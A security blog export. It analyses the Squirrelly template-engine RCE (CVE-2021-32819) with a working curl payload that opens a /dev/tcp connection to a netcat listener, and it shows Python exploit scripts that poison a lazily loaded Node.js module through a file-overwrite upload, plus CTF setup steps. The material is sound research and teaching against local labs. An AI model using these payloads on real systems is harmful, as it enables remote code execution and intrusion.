# About

![](/files/-Mbw2aJN3Ufi_zek0jRQ)

Hello, this is [**Rayan Althobaiti**](http://cv.diefunction.io/RayanAlthobaitiCV.pdf)**.** If you have any suggestions for the blog or criticism feel free to contact me.

|                                Social                               | Account                                                         |
| :-----------------------------------------------------------------: | --------------------------------------------------------------- |
| <img src="/files/-MhuooLvlEHuM5fnTJdd" alt="" data-size="original"> | [@Diefunction](https://twitter.com/diefunction)                 |
| <img src="/files/-Mhup5tENIbMgP0I1JeV" alt="" data-size="original"> | [@Diefunction](https://github.com/Diefunction)                  |
|                   ![](/files/-MhuqP89MV_belxBnpoS)                  | [@Diefunction](https://www.hackthebox.eu/profile/47396)         |
|                   ![](/files/-MhurGngpjBS71mSAXR5)                  | [@RayanAlthobaiti](https://www.linkedin.com/in/RayanAlthobaiti) |


# GHSL-2021-023 / CVE-2021-32819

An analysis for GHSL-2021-023 / CVE-2021-32819 vulnerability.

## INTRODUCTION

### **SQUIRRELLY**

Squirrelly [**\[1\]**](https://squirrelly.js.org/) is a template engine written in JavaScript.

### DOWNLOAD STATISTICS

According to NPM-STAT [**\[2\]**](https://npm-stat.com/charts.html?package=squirrelly\&from=2020-05-05\&to=2021-06-11), the total number of downloads between 2020-05-16 and 2021-06-11: **317,730**

### ISSUE

#### **EXPRESS RENDER API**

The Express render API [**\[3\]**](https://expressjs.com/en/api.html#res.render) was designed to only pass in template data. By allowing template engine configuration options to be passed through the Express render API directly, downstream users of an Express template engine may inadvertently introduce insecure behavior into their applications with impacts ranging from Cross-Site Scripting (XSS) to Remote Code Execution (RCE).&#x20;

#### SQUIRRELLY

SquirrellyJS mixes pure template data with engine configuration options through the Express render API. By overwriting internal configuration options, remote code execution may be triggered in downstream applications. [**\[4\]**](https://securitylab.github.com/advisories/GHSL-2021-023-squirrelly/#details)

**IMPACT**

This vulnerability leads to remote code execution (RCE). [**\[4\]**](https://securitylab.github.com/advisories/GHSL-2021-023-squirrelly/#impact)

**VULNERABLE VERSIONS**

SquirrellyJS is vulnerable from version v8.0.0 to v8.0.8.

### **PATCH**

No available fix for SquirrellyJS currently. [**\[4\]**](https://securitylab.github.com/advisories/GHSL-2021-023-squirrelly/#coordinated-disclosure-timeline)

* 01/25/2021: Report sent to maintainers by GHSL
* 04/25/2021: Deadline expired
* 05/14/2021: Publication as per our disclosure policy [**\[5\]**](https://securitylab.github.com/advisories/#policy)

## REPRODUCIBILITY

### **ENVIRONMENT SETUP**

Install NodeJS run-time environment, Node Package Manager (NPM), ExpressJS, and SquirellyJS.

```bash
sudo apt update
sudo apt install nodejs npm
mkdir GHSL-2021-023 && cd GHSL-2021-023
npm install express
npm install squirrelly
```

GHSL-2021-023/app.js - vulnerable server code.

```javascript
const express = require('express')
const app = express()
const port = 3000
 
app.set('views', __dirname);
app.set('view engine', 'squirrelly')
app.use(express.urlencoded({ extended: false }));
app.get('/', (req, res) => {
   res.render('index.squirrelly', req.query)
})
 
app.listen(port, () => {})
module.exports = app;
```

GHSL-2021-023/index.squirrelly - template.

```markup
<!DOCTYPE html>
<html>
    <head>
        <title>GHSL-2021-023</title>
    </head>
<body>
    <h1>{{it.variable}}</h1>
</body>
</html>
```

Start the vulnerable application server.

```bash
node app.js
```

### PROOF OF CONCEPT

Start a Netcat listener on port 443.

```
nc -lnvp 443
```

Send the crafted payload via curl.

```bash
curl -G \
--data-urlencode "defaultFilter=e')); let require = global.require || global.process.mainModule.constructor._load; require('child_process').exec('/bin/bash -c \'/bin/id > /dev/tcp/127.0.0.1/443\''); //" \
http://localhost:3000/
```

When the payload is triggered via curl, the vulnerable server executes our malicious code. The code executes `/bin/id` command on the server and sends the output to the Netcat listener. The output is on the top of the TMUX window.

![Proof of concept](/files/-MbwHZhkHmO3_9-7SkOz)

## ANALYSIS

Send a request to start the analysis.

```bash
curl -G \
--data-urlencode "variable=HelloWorld" \
http://localhost:3000/
```

The ExpressJS calls **renderFile** function from the SquirrellyJS engine after the request has been made [(view.js line 135)](https://github.com/expressjs/express/blob/master/lib/view.js#L135).

```javascript
View.prototype.render = function render(options, callback) {
  debug('render "%s"', this.path);
  this.engine(this.path, options, callback);
};
```

**this.engine** variable is the **renderFile** function.

### renderFile(filename, data, cb)

definition [(file-handlers.ts line 113)](https://github.com/squirrellyjs/squirrelly/blob/72d61256c05819ea4bc7c2b56610845ac8ba4f9b/src/file-handlers.ts#L113).

```javascript
function renderFile(filename, data, cb) {
  data = data || {};
  var Config = getConfig(data);
  ...
  return tryHandleCache(Config, data, cb);
}
```

#### Parameters

* **filename** is the template path.

```
"GHSL-2021-023/index.squirrelly"
```

* **data** is the template data that contains the request query.

```javascript
{
  settings: {
      ...,
  },
  variable: "HelloWorld",
  _locals: {},
  cache: false,
}
```

* **cb** is a callback function that is defined in another scope.

**renderFile** function calls **getConfig** function (line 3).

### getConfig(override, baseConfig)

definition [(config.ts line 101)](https://github.com/squirrellyjs/squirrelly/blob/72d61256c05819ea4bc7c2b56610845ac8ba4f9b/src/config.ts#L101).&#x20;

```javascript
function getConfig (override: PartialConfig, baseConfig?: SqrlConfig): SqrlConfig {

  var res: PartialConfig = {}
  copyProps(res, defaultConfig)

  if (baseConfig) {
    copyProps(res, baseConfig)
  }

  if (override) {
    copyProps(res, override)
  }

  ;(res as SqrlConfig).l.bind(res)

  return res as SqrlConfig
}
```

**override** parameter is the template data that contains the request query.

```javascript
{
  settings: {
      ...,
  },
  variable: "HelloWorld",
  _locals: {},
  cache: false,
}
```

**baseConfig** parameter is **undefined**.

**getConfig** function defines **res** variable as an empty object (line 3), then copies global **defaultConfig** properties to **res** properties (line 4), after that skips **baseConfig** condition because it's **undefined** (line 6) then copies **override** properties to **res** properties (line 11), finally returns **res** variable (line 16) to **Config** variable in **renderFile** function scope (line 3).

**Config** variable is:

```javascript
{
    varName: 'it', 
    ..., 
    autoEscape: true, 
    defaultFilter: false, 
    ..., 
    settings: {...},
    variable: 'HelloWorld', 
    ... 
}
```

**Notice**

Since request queries are copied to **Config** object, which is the set of compilation options, that means the sender can overwrite **Config** properties values.

After **getConfig** function returns **res** variable to **Config** variable, **renderFile** function calls **tryHandleCache** function (line 5).

### tryHandleCache(options, data, cb)

definition [(file-handlers.ts line 69)](https://github.com/squirrellyjs/squirrelly/blob/72d61256c05819ea4bc7c2b56610845ac8ba4f9b/src/file-handlers.ts#L69).&#x20;

```javascript
/**
 * Try calling handleCache with the given options and data and call the
 * callback with the result. If an error occurs, call the callback with
 * the error. Used by renderFile().
 *
 * @param {Options} options    compilation options
 * @param {Object} data        template data
 * @param {RenderFileCallback} cb callback
 * @static
 */

function tryHandleCache (options: FileOptions, data: object, cb: CallbackFn) {
  var result
  if (!cb) {
    ...
  } else {
    try {
      handleCache(options)(data, options, cb)
    } catch (err) {
      return cb(err)
    }
  }
}
```

#### **Parameters**

* **options** is the set of compilation options.

```javascript
{
  varName: "it",
  ...,
  autoEscape: true,
  defaultFilter: false,
  tags: ["{{", "}}"],
  ...,
  variable: "HelloWorld",
  _locals: {},
  ...
}
```

* **data** is the template data that contains the request query.

```javascript
{
  settings: { ... },
  variable: "HelloWorld",
  _locals: {},
  cache: false,
}
```

* **cb** is a callback function that is defined in another scope.

**tryHandleCache** function skips the condition (line 14) because the **cb** variable is defined as a callback function. **tryHandleCache** function calls **handleCache** function (line 18).

### handleCache(options)

definition [(file-handlers.ts line 43)](https://github.com/squirrellyjs/squirrelly/blob/72d61256c05819ea4bc7c2b56610845ac8ba4f9b/src/file-handlers.ts#L43).

```java
/**
 * Get the template from a string or a file, either compiled on-the-fly or
 * read from cache (if enabled), and cache the template if needed.
 *
 * If `options.cache` is true, this function reads the file from
 * `options.filename` so it must be set prior to calling this function.
 *
 * @param {Options} options   compilation options
 * @param {String} [template] template source
 * @return {(TemplateFunction|ClientFunction)}
 * Depending on the value of `options.client`, either type might be returned.
 * @static
 */

function handleCache (options: FileOptions): TemplateFunction {
  var filename = options.filename
  ...
  return compile(readFile(filename), options)
}
```

**options** parameter is the set of compilation options.

```javascript
{
  varName: "it",
  autoTrim: [
    false,
    "nl",
  ],
  autoEscape: true,
  defaultFilter: false,
  ...,
  variable: "HelloWorld",
  _locals: {
  },
  ...
}
```

**handleCache** function gets the template **(index.squirrelly)** content from a file, then **handleCache** function calls **compile** function (line 18).

### compile(str, env)

definition [(compile.ts line 14)](https://github.com/squirrellyjs/squirrelly/blob/72d61256c05819ea4bc7c2b56610845ac8ba4f9b/src/compile.ts#L14).

```javascript
export default function compile (str: string, env?: PartialConfig): TemplateFunction {
  var options: SqrlConfig = getConfig(env || {})
  var ctor = Function // constructor

  ...
  
  try {
    return new ctor(
      options.varName,
      'c', // SqrlConfig
      'cb', // optional callback
      compileToString(str, options)
    ) as TemplateFunction // eslint-disable-line no-new-func
  } catch (e) {
    if (e instanceof SyntaxError) {
      throw SqrlErr(
        'Bad template syntax\n\n' +
          e.message +
          '\n' +
          Array(e.message.length + 1).join('=') +
          '\n' +
          compileToString(str, options)
      )
    } else {
      throw e
    }
  }
}
```

**Parameters**

* **str** is the content of the template (**index.squirrelly**)

```markup
"<!DOCTYPE html>\n<html>\n    <head>\n        <title>GHSL-2021-023</title>\n    </head>\n<body>\n    <h1>{{it.variable}}</h1>\n</body>\n</html>"
```

* **env** is the set of compilation options.

```javascript
{
  varName: "it",
  autoTrim: [
    false,
    "nl",
  ],
  autoEscape: true,
  defaultFilter: false,
  ...,
  variable: "HelloWorld",
  _locals: {
  },
  ...
}
```

**compile** function defines **options** as **env (**&#x6C;ine 2). then creates an alias of [**Function** constructor](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/Function) called **ctor** at (line 3). finally returns a **new ctor** (**Function**) (line 8) to (line 13).

**ctor** parameters

**options.varName** is:

```
"it"
```

**it** is the template data that contains the request query.

**c** is the set of compilation options.

**cb** is a callback function defined in another scope.

**compileToString** function returns the **ctor** **Function** body (line 22).

### compileToString(str, env)

definition [(compile-string.ts line 12)](https://github.com/squirrellyjs/squirrelly/blob/72d61256c05819ea4bc7c2b56610845ac8ba4f9b/src/compile-string.ts#L12).

```javascript
export default function compileToString (str: string, env: SqrlConfig) {
  var buffer: Array<AstObject> = Parse(str, env)
  var res =
    "var tR='';" +
    (env.useWith ? 'with(' + env.varName + '||{}){' : '') +
    compileScope(buffer, env) +
    'if(cb){cb(null,tR)} return tR' +
    (env.useWith ? '}' : '');
  ...
  return res
}
```

**Parameters**

* **str** is the content of the template file (**index.squirrelly**).

```markup
"<!DOCTYPE html>\n<html>\n    <head>\n        <title>GHSL-2021-023</title>\n    </head>\n<body>\n    <h1>{{it.variable}}</h1>\n</body>\n</html>"
```

* **env** is the set of compilation options.

```javascript
{
  varName: "it",
  autoTrim: [
    false,
    "nl"],
  autoEscape: true,
  defaultFilter: false,
  ...,
  variable: "HelloWorld",
  _locals: {},
  ...
}
```

**compileToString** function defines **buffer** and calls **parse** function (line 2) to prase the template content and its variables

```javascript
[
  "<!DOCTYPE html>\\n<html>\\n    <head>\\n        <title>GHSL-2021-023</title>\\n    </head>\\n<body>\\n    <h1>",
  {
    f: [
    ],
    c: "it.variable",
    t: "i",
  },
  "</h1>\\n</body>\\n</html>",
]
```

**compileToString** function defines **res** variable for the **ctor** function body (line 3)

```javascript
  var res =
    "var tR='';" +
    (env.useWith ? 'with(' + env.varName + '||{}){' : '') +
    compileScope(buffer, env) +
    'if(cb){cb(null,tR)} return tR' +
    (env.useWith ? '}' : '');
```

**useWith** is **false**

```javascript
 var res = "var tR='';" + compileScope(buffer, env) + 'if(cb){cb(null,tR)} return tR'
```

**compileToString** function calls **compileScope** function to append its return value to **res** variable.

### **compileScope**(buff, env)

definition [(compile-string.ts line 101)](https://github.com/squirrellyjs/squirrelly/blob/72d61256c05819ea4bc7c2b56610845ac8ba4f9b/src/compile-string.ts#L101).

```javascript
export function compileScope (buff: Array<AstObject>, env: SqrlConfig) {
  var i = 0
  var buffLength = buff.length
  var returnStr = ''

  for (i; i < buffLength; i++) {
    var currentBlock = buff[i]
    if (typeof currentBlock === 'string') {
      var str = currentBlock
      returnStr += "tR+='" + str + "';"
    } else {
      var type: ParsedTagType = currentBlock.t as ParsedTagType // h, s, e, i
      var content = currentBlock.c || ''
      var filters = currentBlock.f
      var name = currentBlock.n || ''
      var params = currentBlock.p || ''
      var res = currentBlock.res || ''
      var blocks = currentBlock.b
      var isAsync = !!currentBlock.a
      if (type === 'i') {
        if (env.defaultFilter) {
          content = "c.l('F','" + env.defaultFilter + "')(" + content + ')'
        }
        var filtered = filter(content, filters)
        if (!currentBlock.raw && env.autoEscape) {
          filtered = "c.l('F','e')(" + filtered + ')'
        }
        returnStr += 'tR+=' + filtered + ';'
      } else if (type === 'h') {
        ...
      } else if (type === 's') {
        ...
      } else if (type === 'e') {
        ...
      }
    }
  }

  return returnStr
}
```

**Parameters**

* **buff** is an array that contains a parsed template content.

```javascript
[
  "<!DOCTYPE html>\\n<html>\\n    <head>\\n        <title>GHSL-2021-023</title>\\n    </head>\\n<body>\\n    <h1>",
  {
    f: [],
    c: "it.variable",
    t: "i",
  },
  "</h1>\\n</body>\\n</html>",
]
```

* **env** is the set of compilation options.

```javascript
{
  varName: "it",
  autoTrim: [false, "nl"],
  autoEscape: true,
  defaultFilter: false,
  ...,
  variable: "HelloWorld",
  _locals: { },
  ...
}
```

The **for loop** iterates through all elements in the **buff** **array** (line 6)**.** If the element is a string (line 8), it adds the string to **returnStr** variable. If it's not a string, it executes the **else** block (line 11)**.**

The first and the last element is a strings **buff\[0], buff\[2],** where **buff\[1]** is an object

```javascript
  {
    f: [],
    c: "it.variable",
    t: "i",
  }
```

The **type** variable is currentBlock.t (line 12) where t is equal to `"i"` (line 20)**.**

**compileScope** function checks if **env.defaultFilter** is defined or **true** (line 21).

In case **env.defaultFilter** is **defined** or **true**, the **env.defaultFilter** value is going to be appended to the **content** variable where the **content** variable is going to be presented in the **function** body, but for now, the **env.defaultFilter** is **false**. After that, the **filter** function returns the **content** to the **filtered** variable (line 17).

if the condition (line 25) is **true**

```javascript
!currentBlock.raw is true 
autoEscape is true
```

More code is appended to **filtered** (line 26).

**compileScope** function returns **returnStr** (line 39)**,** which is a part of the function body

```javascript
tR+='<!DOCTYPE html>\\n<html>\\n    <head>\\n        <title>GHSL-2021-023</title>\\n    </head>\\n<body>\\n    <h1>';
tR+=c.l('F','e')(it.variable);
tR+='</h1>\\n</body>\\n</html>';
```

**res** variable in **compileToString** function scope is

```javascript
 var res = "var tR='';" + "tR+='<!DOCTYPE html>\\n<html>\\n    <head>\\n        <title>GHSL-2021-023</title>\\n    </head>\\n<body>\\n    <h1>';tR+=c.l('F','e')(it.variable);tR+='</h1>\\n</body>\\n</html>';" + 'if(cb){cb(null,tR)} return tR'
```

The **anonymous function** that is going to be executed

```javascript
(function anonymous(it,c,cb
) {
    var tR='';
    tR+='<!DOCTYPE html>\n<html>\n    <head>\n        <title>GHSL-2021-023</title>\n    </head>\n<body>\n    <h1>';
    tR+=c.l('F','e')(it.variable);
    tR+='</h1>\n</body>\n</html>';
    if(cb){cb(null,tR)}
    return tR
})
```

## THE VULNERABILITY

From the analysis, the attacker can control **defaultFilter** property in the **defaultConfig** by the request query. The **getConfig** function overwrites the **defaultConfig** properties with the **override** properties where the attacker input is represented.

**The** [**GHSL-2021-023**](https://securitylab.github.com/advisories/GHSL-2021-023-squirrelly/) **report, authored by** [**Agustin Gianni**](https://github.com/agustingianni)**, exploited the vulnerability using both defaultFilter and autoEscape, but our exploit uses defaultFilter only. There's no need to change or modify the autoEscape property to gain Remote Code Execution.**

### **EXPLOITING THE VULNERABILITY**

In order to exploit the vulnerability, you need to meet these conditions:

1. The condition (line 21) in **compileScope** function must be true to append the **defaultFilter** to the **content**.
2. The appended code syntax must be correct to get code execution.

```bash
curl -G \
--data-urlencode "defaultFilter=e')); console.log('Remote Code Execution') //" \
http://localhost:3000/
```

The **defaultFilter** should be `e')); console.log('Remote Code Execution') //` to gain code execution.

#### Walkthrough

For the first condition is true only if the **defaultFilter** is not **false** or not **undefined**&#x20;

The function body

```javascript
tR+=c.l('F','e')(c.l('F','<defaultFilter>') ...)
```

The code injection starts at the second parameter **(name)** of the **l** function

**l(container, name)** definition [(config.ts line 62)](https://github.com/squirrellyjs/squirrelly/blob/72d61256c05819ea4bc7c2b56610845ac8ba4f9b/src/config.ts#L62)

**name** parameter is the filter name&#x20;

1\. **defaultFilter=e**

Filters are defined in [(container.ts line 173)](https://github.com/squirrellyjs/squirrelly/blob/72d61256c05819ea4bc7c2b56610845ac8ba4f9b/src/containers.ts#L173); There's only one filter `e` which the payload must starts with.

```javascript
tR+=c.l('F','e')(c.l('F','e') ...)
```

&#x20;2\. **defaultFilter=e'));**

Add a single quote, close the function, close the expression, add a semi-colon to fix the syntax to add a code.

```javascript
tR+=c.l('F','e')(c.l('F','e'));') ...)
```

3\. **defaultFilter=e')); console.log('Remote Code Execution')**

Add the code that you need to be execute&#x64;**,** for example, output a string to the server console.

```javascript
tR+=c.l('F','e')(c.l('F','e')); console.log('Remote Code Execution')') ...)
```

4\. **defaultFilter=e')); console.log('Remote Code Execution') //**

Add a **single-line comment** to remove the next portion that comes after your injected code.

```javascript
tR+=c.l('F','e')(c.l('F','e')); console.log('Remote Code Execution') //') ...)
```

{% embed url="<https://github.com/Abady0x1/CVE-2021-32819>" %}
CVE-2021-32819
{% endembed %}

## REFERENCES

1. [https://squirrelly.js.org](https://squirrelly.js.org/)
2. <https://npm-stat.com/charts.html?package=squirrelly&from=2020-05-05&to=2021-06-11>
3. <https://expressjs.com/en/api.html#res.render>
4. <https://securitylab.github.com/advisories/GHSL-2021-023-squirrelly/>
5. <https://securitylab.github.com/advisories/#policy>
6. <http://expressjs.com/en/guide/using-template-engines.html>
7. <http://expressjs.com/en/advanced/developing-template-engines.html>


# NodeJS - Abusing Lazy Loading Technique

Exploiting Lazy Loading technique for remote code execution

### Table of Contents

* [Introduction](#introduction)
* [Understanding Lazy Loading](#what-is-lazy-loading)
* [Exploitation Strategy](#exploitation-strategy)
* [Demonstration](#demonstration)
  * [Uncached lazy module scenario #1](#uncached-lazy-module-scenario-1)
  * [Clearing Cached Modules #2](#clearing-cached-modules)

## Introduction

During vulnerability research on a containerized Node.js application, I discovered a critical **arbitrary file overwrite vulnerability**. Initial attempts to overwrite core application files like `app.js` proved ineffective due to two key constraints:

* **Application Restart Required**: Modifying `app.js` required restarting the entire application.
* **Container Reset Protection**: Crashes triggered immediate container resets that restored all original files.

However, I discovered the developers were using lazy loading patterns throughout the application:

### Example: Lazy Loading Pattern

```javascript
async content() {
    // Lazy loading - module loaded only when function is called
    const { generate } = require('random-words');
    const words = generate(5);
    const sentence = words.join(' ');
    return sentence;
}
```

## What is Lazy Loading

{% embed url="<https://article.arunangshudas.com/optimizing-node-js-performance-with-lazy-loading-and-code-splitting-aba81bbaf91d>" %}

**"Lazy loading** is a technique where modules or dependencies are loaded only when they are needed, rather than during the application's startup phase. This approach minimizes memory usage and reduces startup time, especially in applications with numerous dependencies."

### Node.js Module Caching Behavior

Node.js caches modules after their first `require()` call. Once a module is loaded and cached, subsequent `require()` calls return the cached version, even if the original file has been modified on disk. This behavior is crucial to our attack.

## Exploitation Strategy

This gave me an idea: what if I could modify an uncached module to abuse the lazy loading technique and gain remote code execution?

After analyzing the application's front-end, I identified:

* **Unused API routes** not accessible through the UI that use lazy loading.
* **Crash triggers** - actions that would force container resets and clear cached modules.

### Attack Vectors

#### Direct Lazy Loading

1. **Overwrite** lazy-loaded modules (avoiding core files like `app.js`).
2. **Trigger** the target endpoint to load the poisoned module.
3. **Execute** payload when Node.js loads the malicious code.

#### Clearing Cached Modules

For already-cached modules:

1. **Crash** the application intentionally to clear Node.js module cache.
2. **Wait** for the container to reset, clearing the cache.
3. **Overwrite** lazy-loaded modules (avoiding core files like `app.js`).
4. **Trigger** the target endpoint to load the poisoned module.
5. **Execute** payload when Node.js loads the malicious code.

## Demonstration

To demonstrate this vulnerability, I've created a proof-of-concept environment consisting of:

* A vulnerable Node.js Express application with file upload and crash endpoint.
* Exploitation script showcasing different attack scenarios

```
.
├── Dockerfile
├── backup
│   ├── index.js // malicious poisoned module that replaces the legitimate random-words package
│   └── index.js.org // The original legitimate module from the random-words package
├── evidence // The payload writes evidence files here (e.g., /evidence/pwn)
├── exploit.py // exploitation script that demonstrates the lazy module abusing. Contains multiple attack scenarios including direct exploitation and cache reset techniques.
├── run.bat // build docker image and start the containerized environment
├── run.sh // build docker image and start the containerized environment
└── src  // This contains the complete Node.js Express application with intentional vulnerabilities.
    ├── app.js
    ├── controllers
    │   ├── content.js
    │   └── file.js
    ├── package-lock.json
    ├── package.json
    ├── routes
    │   ├── content.js
    │   └── file.js
    ├── services
    │   ├── content.js
    │   └── file.js
    └── uploads
```

### Application source code

{% file src="/files/mUwZqGawNAg3khUwqMDy" %}

### Start the application

Run the application inside a container

<figure><img src="/files/3g6WOha671PQBRvqWvL6" alt=""><figcaption></figcaption></figure>

### Vulnerable endpoint for file upload

<figure><img src="/files/SL1dVmnrfT2TYOFGUZOI" alt=""><figcaption></figcaption></figure>

### **Crash Endpoint**

```javascript
router.get('/crash', (req, res) => {
    console.log('Throwing uncaught exception...');
    setTimeout(() => {
      throw new Error('Intentional crash!');
    }, 100);
});
```

This crash endpoint is crucial for the cache-clearing attack vector, as it forces the container to restart and clear the Node.js module cache. This used in the second scenario.

### Uncached lazy module Scenario #1

Since the content endpoint uses lazy module loading, it isn't called at application startup, leaving its module uncached in Node.js.

<figure><img src="/files/7xIQ9jgN2aQOPWnbpCr9" alt=""><figcaption></figcaption></figure>

#### Overwrite the random-words to gain remote code execution

This script demonstrates successful exploitation when the module hasn't been cached yet.

```python
#!/usr/bin/env python3

import os
import shutil
import requests
import json
from time import sleep

# Configuration
HOST = "localhost"
PORT = 3000
URL = f"http://{HOST}:{PORT}"

# File paths
ORIGINAL_MODULE = "/app/node_modules/random-words"
POISONED_MODULE = "./backup/index.js"
SESSION = requests.Session()

def upload():
    try:
        files = {
            'file': ('index.js', open(POISONED_MODULE, 'rb'), 'application/javascript')
        }
        
        data = {
            'path': ORIGINAL_MODULE,  # Target module path
            'filename': 'index.js'    # Overwrite main module file
        }
        
        # Send malicious upload request
        response = SESSION.post(
            f"{URL}/api/file/",
            files=files,
            data=data
        )
        
        files['file'][1].close()
        
        if response.status_code == 200:
            return True
            
    except Exception as e:
        return False

def content():
    try:
        response = SESSION.get(f"{URL}/api/content/")
        if response.status_code == 200:
            return True
    except Exception as e:
        return False

def exploit():
    print("[*] Uploading poisoned module")
    if upload():
        print("[+] Module successfully poisoned")
        print("[*] Triggering poisoned module")
        if content():
            print("[+] Check /evidence/pwn for verification")
    else:
        print("[-] Upload failed")
        
if __name__ == "__main__":
    # Scenario 1: Successful exploit
    # - Poison module FIRST
    # - Then trigger content endpoint
    # This works because Node.js will load the poisoned module
    # when it's required for the first time
    exploit()
```

<figure><img src="/files/izS14AbEfV95d4RSB9aw" alt=""><figcaption></figcaption></figure>

#### Evidence

<figure><img src="/files/zfPKmJAZIeZELghg7xCU" alt=""><figcaption></figcaption></figure>

### **Clearing Cached Modules** #2

Abusing both Lazy Modules and container mechanisms by Crashing to Clear the Module Cache.

**Note: Reset the application container to return the old state after** [**scenario #1**](#uncached-lazy-module-scenario-1)**.**

Call the content endpoint first to ensure the module is cached

```python
#!/usr/bin/env python3

import os
import shutil
import requests
import json
from time import sleep

# Configuration
HOST = "localhost"
PORT = 3000
URL = f"http://{HOST}:{PORT}"

# File paths
ORIGINAL_MODULE = "/app/node_modules/random-words"
POISONED_MODULE = "./backup/index.js"
SESSION = requests.Session()

def upload():
    try:
        files = {
            'file': ('index.js', open(POISONED_MODULE, 'rb'), 'application/javascript')
        }
        
        data = {
            'path': ORIGINAL_MODULE,  # Target module path
            'filename': 'index.js'    # Overwrite main module file
        }
        
        # Send malicious upload request
        response = SESSION.post(
            f"{URL}/api/file/",
            files=files,
            data=data
        )
        
        files['file'][1].close()
        
        if response.status_code == 200:
            return True
            
    except Exception as e:
        return False

def content():
    try:
        response = SESSION.get(f"{URL}/api/content/")
        if response.status_code == 200:
            return True
    except Exception as e:
        return False

def unexploitable():
    print("[*] Triggering content endpoint BEFORE poisoning")
    content()
    print("[*] Attempting to poison module and trigger again")
    exploit()

if __name__ == "__main__":
    # Scenario 2: Failed exploit
    # - Trigger content endpoint FIRST (loads & caches original module)
    # - Then poison module
    # - Then trigger content endpoint AGAIN
    # This fails because Node.js uses the cached original module
    unexploitable()
```

<figure><img src="/files/3CDdRKkwuBiVQoQmdhAm" alt=""><figcaption></figcaption></figure>

#### Evidence for the unexploitable scenario

<figure><img src="/files/oKQGEXgW5Zj5Y8O03ynq" alt=""><figcaption></figcaption></figure>

This final script demonstrates the complete attack chain: triggering a cached module, failing to exploit, then crashing the container to clear the cache and successfully exploiting:

```python
#!/usr/bin/env python3

import os
import shutil
import requests
import json
from time import sleep

HOST = "localhost"
PORT = 3000
URL = f"http://{HOST}:{PORT}"

# File paths
ORIGINAL_MODULE = "/app/node_modules/random-words"
POISONED_MODULE = "./backup/index.js"
SESSION = requests.Session()

def upload():
    try:
        files = {
            'file': ('index.js', open(POISONED_MODULE, 'rb'), 'application/javascript')
        }
        
        data = {
            'path': ORIGINAL_MODULE,  # Target module path
            'filename': 'index.js'    # Overwrite main module file
        }
        
        # Send malicious upload request
        response = SESSION.post(
            f"{URL}/api/file/",
            files=files,
            data=data
        )
        
        files['file'][1].close()
        
        if response.status_code == 200:
            return True
            
    except Exception as e:
        return False

def content():
    try:
        response = SESSION.get(f"{URL}/api/content/")
        if response.status_code == 200:
            return True
    except Exception as e:
        return False

def exploit():
    print("[*] Uploading poisoned module")
    if upload():
        print("[+] Module successfully poisoned")
        print("[*] Triggering poisoned module")
        if content():
            print("[+] Check /evidence/pwn for verification")
    else:
        print("[-] Upload failed")

def unexploitable():
    print("[*] Triggering content endpoint BEFORE poisoning")
    content()
    print("[*] Attempting to poison module and trigger again")
    exploit()

def crash():
    try:
        SESSION.get(f"{URL}/api/content/crash")
    except:
        pass

if __name__ == "__main__":
    # Scenario 1: Successful exploit
    # - Poison module FIRST
    # - Then trigger content endpoint
    # This works because Node.js will load the poisoned module
    # when it's required for the first time
    # exploit()

    # RESET the container first to original state
    # Scenario 2: Failed exploit
    # - Trigger content endpoint FIRST (loads & caches original module)
    # - Then poison module
    # - Then trigger content endpoint AGAIN
    # This fails because Node.js uses the cached original module
    unexploitable()
    
    # Clear the module cache via crash
    input('Crash the application')
    crash()
    sleep(10) # wait for the container to restart
    exploit()
```

#### Evidence for RCE after crashing the application and container reset

<figure><img src="/files/p434PgOw2CwrTSd2a0ys" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/q06a9VdsG2LppOJid9cf" alt=""><figcaption></figcaption></figure>

the modified script was loaded successfully after crashing to clear the cached modules.


# Technology Control Company

TCC provides a wide range of digital products to provide our customers with the best business solutions.

{% embed url="<https://www.tcc-ict.com/en>" %}
Technology Control Company's main website
{% endembed %}

<figure><img src="/files/w990GnXLmMOWbjdqVeWS" alt=""><figcaption></figcaption></figure>

TCC specializes in security services, digital services, and big data. Since its inception in 2008, TCC has been offering state-of-the-art solutions based on leading industry methodologies and frameworks.


# Athackcon CTF 2021

Challenges written based on real-life scenarios that I discovered in bug-bounty and during penetration testing engagements.

## [Github](https://github.com/Diefunction/tcc-ctf)

A Github repository that contains all challenges.

## Environment setup on Ubuntu

### Requirments

* Install docker-engine
* Install docker-compose

Install Docker and docker-compose.

```bash
# Update apt package index
sudo apt update
# Allow apt to use repository over HTTPS
sudo apt install \
    apt-transport-https \
    ca-certificates \
    curl \
    gnupg \
    lsb-release
# Add Docker's official GPG key
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg --dearmor -o /usr/share/keyrings/docker-archive-keyring.gpg
# X86_64 / amd64
echo \
    "deb [arch=amd64 signed-by=/usr/share/keyrings/docker-archive-keyring.gpg] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable" | sudo tee /etc/apt/sources.list.d/docker.list > /dev/null

# Update apt package index
sudo apt update

# Install the latest version of docker engine and containerd.
sudo apt-get install docker-ce docker-ce-cli containerd.io

# Download docker-compose version 1.29
sudo curl -L "https://github.com/docker/compose/releases/download/1.29.2/docker-compose-$(uname -s)-$(uname -m)" -o /usr/local/bin/docker-compose

# Apply executable permissions to the binary
sudo chmod +x /usr/local/bin/docker-compose

# Add user to docker group
sudo usermod -aG docker $(whoami)
```

Reboot the machine.

```
sudo reboot
```

Install git.

```bash
sudo apt install git
```

Clone the repository.

```bash
git clone https://github.com/Diefunction/tcc-ctf.git
```

After cloning the repository change the current directory to the repository directory.

```
cd tcc-ctf
```

Builds Docker images from Dockerfiles.

```
docker-compose build
```

Create and start containers

```
docker-compose up
```

## Challenges

| Name                                                                        | IPAddress      | Flag                  |
| --------------------------------------------------------------------------- | -------------- | --------------------- |
| [Trust](https://blog.diefunction.io/ctf/technology-control-company/trust)   | 127.0.0.1:8000 | /usr/src/app/flag.txt |
| [Config](https://blog.diefunction.io/ctf/technology-control-company/trust)  | 127.0.0.1:8001 | /flag/flag.txt        |
| [Extend](https://blog.diefunction.io/ctf/technology-control-company/extend) | 127.0.0.1:8002 | /usr/src/app/flag.txt |
| [Poison](https://blog.diefunction.io/ctf/technology-control-company/poison) | 127.0.0.1:8003 | /usr/src/app/flag.txt |


# Trust

## [Project ](https://github.com/Diefunction/tcc-ctf/tree/main/trust)

#### Structure

```
trust
├── src/ 
│   ├── controllers/ 
│       └── users.js 
│   ├── middlewares/ 
│       ├── authenticate.js 
│       └── error.js 
│   └── routes/ 
│       └── users.js 
│   ├── app.js 
